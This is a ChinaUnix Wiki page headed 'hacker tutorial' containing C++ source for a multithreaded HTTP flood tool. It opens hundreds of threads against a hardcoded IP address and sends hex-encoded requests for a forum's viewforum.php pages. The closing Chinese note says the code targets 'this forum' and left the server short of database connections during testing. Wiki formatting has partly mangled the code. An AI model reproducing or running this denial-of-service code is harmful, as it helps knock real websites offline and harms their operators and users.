黑客教学

来自 ChinaUnix Wiki

/***********

email: xxxx1@yahoo.com.cn cc code c/c++ pthread 内含bug

                                • /
  1. include <iostream>
  2. include <cstdlib>
  3. include <unistd.h>
  4. include <netinet/in.h>
  5. include <sys/socket.h>
  6. include <arpa/inet.h>
  1. define MAXATT 800
  2. define MAXPAGE 1300

using namespace std;

void * att(void *); void EXIT(void); void fun (int i, int socket);

typedef struct mystr { pthread_mutex_t mutex; int value; } data;

data mydata ={ PTHREAD_MUTEX_INITIALIZER, 0, };

int main(int argc, char *argv[]) { static int sum = 2; // att((void * )5); // exit(0); //

while (1) { pthread_mutex_lock (&mydata.mutex);

if (mydata.value < MAXATT) { ++mydata.value; pthread_mutex_unlock (&mydata.mutex); pthread_t pid; sum++; if (pthread_create( &pid, NULL ,att , (void *)sum) != 0) { cout << "errow create pthread \n" << endl; EXIT();

}

if (sum > MAXPAGE) sum =2; } else { cout << " IN MAIN now num =" << mydata.value << endl; pthread_mutex_unlock (&mydata.mutex); sleep(2); cout << "sleep 2 " << endl; } }

return EXIT_SUCCESS; } void EXIT(void) {

pthread_mutex_lock (&mydata.mutex); --mydata.value; cout << " IN EXIT now num = " << mydata.value << endl ; pthread_mutex_unlock (&mydata.mutex);

}

void * att(void * arg) {

struct sockaddr_in server; static int num = 0 ; int fd; static char command1 [] = "\x47\x45\x54\x20\x2F\x66\x6F\x72\x75\x6D\x2F\x76\x69\x65\x77\x66\x6F\x72\x75\x6D\x2E\x70\x68\x70\x3F \x66\x3D\x32\x37\x26\x74\x6F\x70\x69\x63\x64\x61\x79\x73\x3D\x30\x26\x73\x74\x61\x72\x74\x3D";

static char command2 [] ="\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x77\x77\x77\x2E\x66\x72\x65\x65 \x63\x22\x63\x65\x69\x70\x6E\x61\x2E\x6F\x72\x67\x0d\x0a\x0d\x0a";


//pthread_t self; pthread_detach(pthread_self());


if ((fd = socket(AF_INET, SOCK_STREAM , 0)) == -1) { cout << " greate socket errow " << num << endl; EXIT(); return 0; } else { num++; }

bzero(&server , sizeof (struct sockaddr_in));

if (inet_aton("61.129.66.78", &server.sin_addr) != 1) { cout << " inet_aton errow " << endl; EXIT(); return 0; }

server.sin_family = AF_INET; server.sin_port = htons(80);

if (connect(fd , (struct sockaddr *) &server, sizeof(struct sockaddr_in)) < 0 ) { cout << " connect errow " << endl; EXIT(); return 0; }

if (write (fd , command1 , strlen (command1)) < 0) { EXIT(); return 0;

}


fun( (int)arg,fd);

if (write (fd , command2 , strlen (command2)) < 0) { EXIT(); return 0; }

shutdown(fd, SHUT_RD);

/* while ((num = read (fd , readbuff , sizeof(readbuff))) > 0) { write (STDOUT_FILENO, readbuff , num);

}

  • /


sleep(3); //确保内容到了对方。 可以自己调节 //更高杆的写法 比如修改自己的接受栈 建议读 steven 的书 // // close(fd);


cout << " pthread " << (int)arg << "over" << endl; EXIT(); return 0; }


void fun (int i, int socket) {


char *p; char buff[7] = {0}; int j = 5; int k = i; p = &buff[6];

while (k) { p--; buff[j] = k%10 + '0'; j--;

k = (k-k%10)/10; }

write(socket,p,strlen(p)); }

/************************************* g++ att 1.cpp -lpthread

代码就是攻击本论坛的啦 纯潮水。 测试的时候 服务器会出现 数据库连接不够。 断开以后 服务器大概在2秒内恢复正常。 不敢保证的确攻击成功。(说不定已经被论坛的大大block 掉了) 代码属于菜鸟的。使用者自己负责啦!

                                                                                    • /
个主工具